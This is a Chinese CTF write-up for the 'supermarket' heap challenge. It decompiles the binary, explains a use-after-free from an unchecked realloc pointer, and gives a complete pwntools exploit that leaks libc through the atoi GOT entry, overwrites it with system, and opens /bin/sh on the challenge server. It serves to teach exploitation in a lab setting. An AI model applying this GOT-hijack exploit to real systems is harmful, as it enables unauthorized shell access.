分析过程
解压三次
得到二进制文件
首先看看add部分, 可知商品信息结构体由一个malloc(0x1C)
的chunk保存, 然后再malloc一个*(v2 + 5) == size
大小的chunk保存商品描述字符串
逆向分析, 还原出商品结构体
struct commodity{
char name[16];
int price;
int size_description;
char* description;
}
看一下free部分, 似乎没有漏洞, free chunk后指针也都置零了
int __cdecl sub_8048CE0(int a1)
{
int result; // eax
if ( (&s2)[a1] )
{
*((&s2)[a1] + 4) = 0;
free(*((&s2)[a1] + 6));
free((&s2)[a1]);
}
result = a1;
(&s2)[a1] = 0;
return result;
}
再接着list show函数, 将所有商品的信息拼接到s[785]
局部变量中, 然后统一输出
看下change price函数, 似乎也没漏洞
int sub_8048E00()
{
int result; // eax
int v1; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
v2 = sub_8048DC8();
if ( v2 == -1 )
return puts("not exist");
if ( *((&s2)[v2] + 4) <= 0 || *((&s2)[v2] + 4) > 999 )
return puts("you can't change the price <= 0 or > 999");
printf("input the value you want to cut or rise in:");
v1 = sub_804882E();
if ( v1 < -20 || v1 > 20 )
return puts("you can't change the price");
*((&s2)[v2] + 4) += v1;
if ( *((&s2)[v2] + 4) <= 0 || (result = *((&s2)[v2] + 4), result > 999) )
{
puts("bad guy! you destroyed it");
result = sub_8048CE0(v2);
}
return result;
}
最后看下change description, 这里有realloc函数, 需要额外注意, 可能会出现漏洞
int change_description()
{
int v1; // [esp+8h] [ebp-10h]
int size; // [esp+Ch] [ebp-Ch]
v1 = sub_8048DC8();
if ( v1 == -1 )
return puts("not exist");
for ( size = 0; size <= 0 || size > 256; size = sub_804882E() )
printf("descrip_size:");
if ( *((&s2)[v1] + 5) != size )
realloc(*((&s2)[v1] + 6), size);
printf("description:");
return sub_8048812(*((&s2)[v1] + 6), *((&s2)[v1] + 5));
}
漏洞利用
虽然free部分没有UAF漏洞, 但是realloc部分存在UAF漏洞, 如果先将一个大chunk1缩小, 申请一个新商品结构chunk2, 再将描述字符串的chunk1, realloc回原大小, 此时chunk1就会覆盖到chunk2
(其实并不是chunk1覆盖到, 按照realloc的函数实现, 如果新size大于原size, 并且heap空间不够用时, 会重新在别的地方开辟chunk, 然后把新的地址指针返回给调用者, 但是这里程序实现没有更新chunk的指针, 所以构成UAF漏洞),
那么覆盖的部分, 即chunk2就是可控制部分, 伪造出一个chunk2, 然后list show打印出其内容, 就可以通过传入libc的某个函数got地址, 进而泄露libc基址, 最后得知system地址, 再通过商品描述字符串的修改功能, 就能修改got表地址, 比如把atoi改成system, 下次在主界面传入"/bin/sh"就实现了调用system("/bin/sh")
from pwn import *
url, port = "111.200.241.244", 55654
filename = "./supermarket"
elf = ELF(filename)
libc = ELF("./libc.so.6")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
context.log_level="debug"
io = remote(url, port)
def add(name, price, descrip_size, description):
io.sendlineafter('>> ', "1")
io.sendlineafter('name:', name)
io.sendlineafter("price:", price)
io.sendlineafter("descrip_size:", descrip_size)
io.sendlineafter('description:', description)
# def delete(name):
# io.sendlineafter('>> ', "2")
# io.sendlineafter('name:', name)
def list_commod():
io.sendlineafter('>> ', "3")
io.recvuntil('des.')
io.recvuntil('des.')
return io.recvuntil("\n")[:4]
# def change_price_commodity(name, price):
# io.sendlineafter('>> ', "4")
# io.sendlineafter('name:', name)
# io.sendlineafter("rise in:", price)
def change_description_commodity(name, descrip_size, description):
io.sendlineafter('>> ', "5")
io.sendlineafter('name:', name)
io.sendlineafter("descrip_size:", descrip_size)
io.sendlineafter('description:', description)
def pwn():
add("A", "9", "256", "chunk1")
change_description_commodity("A", "8", "chunk1")
add("B", "8", "16", "chunk2")
payload = flat([cyclic(12), 0x21, 0x42, cyclic(12), 0x8, 0x10, elf.got["atoi"]])
change_description_commodity("A", "256", payload)
libc_base = u32(list_commod()) - libc.sym["atoi"]
system_addr = libc_base + libc.sym['system']
change_description_commodity("B", "16", p32(system_addr))
io.sendlineafter(">> ", "/bin/sh\x00")
io.interactive()
if __name__ == "__main__":
pwn()
总结
整个利用过程的关键是realloc的UAF漏洞, 通过这个漏洞可以修改chunk2的字符串指针, 劫持到got表, 这样就拥有了泄露和修改got表的能力, 从而完成攻击
难点
对realloc的运行机制有深刻理解, 当realloc一个更大的空间但无法被满足时, realloc会自动开辟新空间将原来的数据内容拷贝过去, 然后返回新空间的指针
这个程序错就错在没有根据realloc返回回来的指针更新商品描述指针, 导致UAF漏洞
卡点
在理解realloc的UAF漏洞时花费比较长的时间
io.recv()
会不停的接收数据, 在与程序交互时卡住, 改成io.recvuntil("\n")
参考
https://blog.csdn.net/seaaseesa/article/details/103093182
https://blog.csdn.net/qq_43986365/article/details/104292025